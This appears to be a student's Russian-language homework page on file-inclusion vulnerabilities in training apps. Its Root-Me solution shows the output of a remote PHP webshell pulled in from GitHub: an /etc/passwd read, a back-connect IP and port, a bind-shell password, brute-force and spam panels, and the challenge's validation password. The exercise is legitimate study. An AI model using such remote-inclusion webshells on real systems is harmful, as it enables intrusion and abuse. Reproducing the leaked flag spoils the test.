

Урок 6. File Inclusion.

Задание 1:

Исследуйте страницу File Inclusion проекта XVWA (xvwa/vulnerabilities/fi/) и составьте отчет об обнаруженных уязвимостях.

Решение:

В файле «Otchet_1.docx»

Задание 2:

Исследуйте страницу File Inclusion проекта DVWA (dvwa/vulnerabilities/fi/) и составьте отчет об обнаруженных уязвимостях.

Решение:

В файле «Otchet_2.docx»

Задание 3:

На странице [text-file-viewer.php](http://mutillidae/index.php?page=text-file-viewer.php) проекта mutillidae (/mutillidae/index.php?page=text-file-viewer.php) присутствует уязвимость класса Inclusion. Ваша задача — составить сценарий атаки, направленной на клиента (а не на сервер) и реализовать его. Составить отчет о проделанной работе.

Решение:

В файле «Otchet_3.docx»

Задание 5:

<https://www.root-me.org/en/Challenges/Web-Server/Remote-File-Inclusion>. Решите данное задание.

Решение:

Warning: session_start(): open(challenge/sessions/web-server/ch13/session_a338fcd332a2dc760997cd080110b05_0_RDWk failed: Permission denied (13) in https://raw.githubusercontent.com/johnTroony/php-webshells/master/Collection/Predator.php?lang.php on line 7 Warning: session_start(): Cannot send session cache limiter - headers already sent (output started at https://raw.githubusercontent.com/johnTroony/php-webshells/master/Collection/Predator.php?lang.php:7) in https://raw.githubusercontent.com/johnTroony/php-webshells/master/Collection/Predator.php?lang.php on line 7

Root Me publier des solutions sur inter

System: **nginx/1.18.0** **hold-up-team::web-shell** **PHP-version: 7.6.30** **Safe_mode: OFF** **Pen: OFF**
Server: **nginx/1.18.0** **MySQL: OFF** **cURL: OFF** **Server time: 02:38**
User: **uid=1002/web-server-ch13 gid=33** **MySQL: OFF** **wget: OFF** **Server date: 15-11-2021**
pwd: **/challenge/web-server/ch13/** **PostgreSQL: OFF** **fetch: OFF** **Total space: 46.14 GB**
Grac: OFF **linc: OFF** **Free space: 9.39 GB**

```
<?php
/*
Congrats!
Le mot de passe de validation est :
The validation password is :
$Web3_is_3x0lty_3v11
*/
```

System shell:

PHP-code:
`readfile('/etc/passwd');`

File Edit:

Download: Upload:

Alias:

find apache config file

Back Connect:
IP: 31.204.103.236
Port: 5000
Method: Perl

Bind port:
Port: 6900
Pass: hsholl
Method: Perl

md5 bruter:
hash:
log_file: md5_log.txt
dictionary_file: md5_dict.txt

Spammer:
emails file:
log_file:
From:
Subject:
Message:

FTP-Bruter:
Host:
ftp_users file: ftp_users.txt
ftp_passwords file: ftp_passwords.txt
ftp_log file: ftp_log.txt

Flooder:
log_file:
Send to:
From:
Subject:
Message: